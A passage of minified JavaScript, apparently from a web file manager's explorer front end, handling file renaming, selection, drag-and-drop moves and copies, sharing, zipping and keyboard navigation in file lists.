r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",i.css({height:i.height()})),$(i).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,t.rname(e,n,function(e){e===!1?$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(a)):m(e)});else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(i).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(i).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},_=function(e){var t={},i=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var a=function(e){for(var i=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:i==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||a(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||i.push(e[n])}return i},v=function(e){if(e){var t=[];return 0==ui.fileLight.fileListSelect().length?t:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),i="folder"==ui.fileLight.type($(this))?"folder":"file";t.push({path:e,type:i})}),_(t))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var i=ui.fileLight.fileListSelect(),a=ui.fileLight.path(i),n=ui.fileLight.type(i);return{path:a,type:n}},g=function(e,t){for(var i in G.json_data)if("filelist"==i||"folderlist"==i)for(var a=0;G.json_data[i].length>a;a++)if(G.json_data[i][a][e]==t)return G.json_data[i][a]};return{makeParam:v,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)t.appEdit(0,0,"user_add");else{var i=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(i));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),t.appEdit(a)}},appList:function(){t.appList(v().path)},appInstall:function(){t.appInstall(v().path)},openEditor:function(){i.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(i.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return i.open(e),void 0;if(void 0!=e)return i.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var t=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,t.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==t.type){var n=a.attr("data-app");t.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=t.type)&&i.open(t.path,t.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var t=ui.fileLight.type($(this));if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var i=ui.fileLight.path($(this)),a=core.path2url(i,!1);e.push({url:a,name:core.pathThis(i),ext:t})}}),i.play(e)}},pathOperate:t,share:function(){t.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var i=v(),a=ui.fileLight.fileListSelect().last();i.name=trim(a.find(".filename").text()),t.createLink(i.path,i.name,i.type,e,m)},createProject:function(){t.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?i.download(v().path):t.zipDownload(e)},shareEdit:function(){var e=g("path",v().path);try{var i=G.json_data.share_list[e.sid];t.shareBox(i)}catch(a){}},shareOpenWindow:function(){var e=g("path",v().path),t=e.type;"folder"==e.type&&(t=1==e.code_read?"code_read":"folder");var i="./index.php?share/"+t+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(i)},shareOpenPath:function(){var e=v(),t=g("path",e.path);if(!t||!G.json_data.share_list)return i.open(e.path,e.type),void 0;var a=G.json_data.share_list[t.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),i=ui.fileLight.fileListSelect().last();e.name=trim(i.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,i){if(n()){var a=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var t=g("path",a[e].path);void 0!=t&&(a[e].type="share",a[e].path=t.sid)}),t.remove(a,m,e,i)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(i){var a=trim($(this).text());i!=e.length-1?t.favRemove(a,"",!0):t.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&t.copy(v(!0))},cute:function(){n()&&t.cute(v(!0),ui.f5)},zip:function(e){t.zip(v(!0),m,e)},unZip:function(e){n()&&t.unZip(v().path,ui.f5,e)},cuteDrag:function(e){t.cuteDrag(v(!0),e,m)},copyDrag:function(e,i){t.copyDrag(v(!0),e,m,i)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){t.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){t.cuteDrag(v(!0),e,m)})},info:function(){t.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),t.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),u("file",p("newfile",e),e)},newFolder:function(){u("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:t.clipboard}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),t=$(),i=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),t=e,u("clear"),n()},a=function(){var t=$(Config.SelectClass);e=t,t.length>1&&c(t),u("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var t="",i=0,a=e;0!=a.length&&(t=a.length+LNG.folder_info_item_select,a.each(function(){i+=parseInt($(this).attr("data-size"))}),0!=i&&(t=t+" ("+core.fileSize(i)+")")),$(".file_select_info .item_select").html(t)},s=function(t){var i=e;if(void 0==t&&i&&i.length>=1&&(t=$(i[i.length-1])),void 0!=t&&!t.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=t.parent());var n=t.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),u()},d=function(e){var t={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var i in t)e.hasClass(i)&&e.addClass(t[i]);u()},p=function(){var t=[];if(0!=e.length)return e.each(function(){t.push(m($(this)))}),t},f=function(){if(0!=e.length){var t=e;t.removeClass(Config.SelectClassName),t.each(function(){d($(this))}),e=$(),u(),o(),h()}},u=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var t=".close_item,.refresh,.newfile,.past,.info",i=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(t).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(i).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,t){return void 0==t&&(t="data-path"),void 0!=e.attr("data-path-children")&&(t="data-path-children"),pathHashDecode(e.attr(t))};return{init:i,name:r,path:m,type:l,fileListSelect:function(t){return t&&(e=t),e},fileListAll:function(e){return e&&(t=e),t},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:f,menuAction:u}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,t=!1,i=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){t&&a($(this)),e||t||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?i=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var t=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=t.index($(this));if(0==a.length)k(0,n,t);else{var o=t.index(a.first()),s=t.index(a.last());o>n?k(n,s,t):n>s?k(o,n,t):k(o,n,t)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),t&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),t?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&i&&(i=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var t=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(t),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var t=$(this).parents(".file");return t.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(t){($(this).hasClass("menuTreeFolder")||$(this).hasClass("menuTreeFolderFav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){i.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(t){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var i=ui.tree.zTree(),a=i.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,i.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){t&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){t&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){t&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){t&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var t=ui.fileLight.path(e);ui.path.history.add(t),ui.fileContent.pathChildrenSplit(t,function(){c(t)})}},l=function(){var e=".fileList_list_split .split_box",t="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(t),$(this).addClass(t)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(t)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var t=$(e.target).parents(".file");(0==t.length||0==t.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var t=$(".fileList_list_split .split_box"),i=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==i.length&&(i=t.last()),t.removeClass(n),i.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=i.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var i,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,f=10,u=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(t){if(!t.shiftKey){if(ui.isEdit())return!0;if(1!=t.which||e)return!0;i=$(this),d(i)&&(g(t),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){x(e),this.releaseCapture&&this.releaseCapture()}))}});var _,v,g=function(e){rightMenu.hidden(),t=!0,l=$.now(),u=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!t)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var i=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return i=0>=i?0:i,r=0>=r?0:r,i-=p,r-=f,s.css({left:i,top:r}),y(e),j(i-h+p,r-u+f),!0}},y=function(e){clearTimeout(_),_=!1,_=setTimeout(function(){try{k(e)}catch(t){}},10)},k=function(e){var t=e.ctrlKey||e.metaKey,i=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var i=htmlEncode(core.pathThis(t)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+i+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+i+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};t==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",t)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?i("remove"):t?i("copy_to",a):i("move_to",a)}else if(0!=$(".recycle_hover").length)i("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)i("share");else if(t){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),i("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?i("clear"):i("move_to",ui.fileLight.path($(".split_hover")))},x=function(){if(!t)return!1;if(t=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,t){switch(e){case"copy_to":ui.path.copyDrag(t,!0);break;case"move_to":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},i=s.attr("data-actionType");-1!=$.inArray(i,["copy_to","move_to","remove","share"])?E(!1):E(!0),e(i,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},t=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+t+" file-draging'></div></div>").appendTo("body"),v=$(Config.SelectClass).filter("[data-path!='']");var i=v.clone();(v.length>=T||$.browser.msie)&&(i=r.clone()),i.appendTo(".file-draging"),i.each(function(e){var t=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=t.offset();$(this).css({left:a.left,top:a.top,width:t.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==i.length&&($(this).data({"data-animateTime":0}),z=0)}),v.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");i.each(function(){var t=$(this),i=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=t.offset(),s=e.offset(),r=(s.left+i-o.left)*n,l=(s.top+i+C-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+C})}}),void 0)},E=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var i=t*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+i,function(){v.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+i,function(){$(this).remove()}))});var i=setTimeout(function(){$(".file-draging-box").remove()},400+L*t);$(".file-draging-box").data("removeDelay",i)}},f=function(){var i=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||t)return!0;f(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){u(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture() +})}});var f=function(t){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(t.target).parents(".split_box").scrollTop()),$(t.target).parent().hasClass(Config.FileBoxClassName)||$(t.target).parent().parent().hasClass(Config.FileBoxClassName)||$(t.target).hasClass("fix")||(rightMenu.hidden(),t.ctrlKey||t.metaKey||t.shiftKey||ui.fileLight.clear(),$(t.target).hasClass("ico")||(i=t.pageX-s,a=t.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},u=function(t){if(!e)return!0;var o=t.pageX-p.offset().left+p.scrollLeft(),s=t.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-i),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,i)+2,top:Math.min(s,a)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),i=e+n.width(),a=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,f=r.offsetTop-c,u=d+l.width(),h=f+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,u=d+l.width()),i-e+u-d>Math.abs(e+i-(d+u))&&a-t+h-f>Math.abs(t+a-(f+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,i=null,a=null,void 0):!1}},u=function(e,t){var i=$(".fileList_list_split .split_box.split_select");if(e)i=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();i=a.parents(".split_box")}return i.find(t)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():u(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():u(e,".file.select")}},m=function(e){var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(i.first()),r=t.index(i.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return t.eq(n)},_=function(e){if("desktop"==Config.pageApp)return m(e);var t=h.fileListAll(),i=h.fileListSelect(),a=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(i.first()),l=t.index(i.last());switch(e){case"up":n=0>=r-o?0:r-o,n=v(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=v(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=v(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=v(n,!0);break;default:}return t.eq(n)},v=function(e,t){for(var i=h.fileListAll(),a=i.eq(e),n=i.length;0!=a.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;a=i.eq(e)}return e},g=function(e){var t,i=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),t=i.first();break;case"end":n=a.first(),t=i.last();break;case"left":n=a.last(),t=_(e);break;case"up":n=a.last(),t=_(e);break;case"right":n=a.first(),t=_(e);break;case"down":n=a.first(),t=_(e);break;case"pageup":n=a.last(),t=_(e);break;case"pagedown":n=a.first(),t=_(e);break;case"all":t=i;break;default:}if(!y(e)){if(o&&""!=n){var s=i.index(n),r=i.index(t);if(s>r){var l=s;s=r,r=l}return k(s,r,i),void 0}b(t)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==t.find(".children_more_cert.cert_open").length)t.find(".children_more_cert").removeClass("cert_open"),t.next().addClass("hidden");else{var i=t.parent(".children_list").prev(".file");b(i)}else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").prev().find(".select_split_parent");b(i)}break;case"right":if("list"==G.user_config.list_type)1==t.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children_more_cert").addClass("cert_open"),t.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var i=t.parents(".split_box").next().find(".file:eq(0)");b(i)}break;default:return!1}return!0},k=function(e,t,i){if("desktop"==Config.pageApp)return x(e,t,i);ui.fileLight.clear();for(var a=e;t>=a;a++)$(i[a]).addClass(Config.SelectClassName);ui.fileLight.select()},x=function(e,t,i){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},t={row:t%a,col:parseInt(t/a)};if(t.row<e.row){var o=t;t=e,e=o}var s=function(e,t){var n=t*a+e;$(i[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;t.row>=r;r++){var 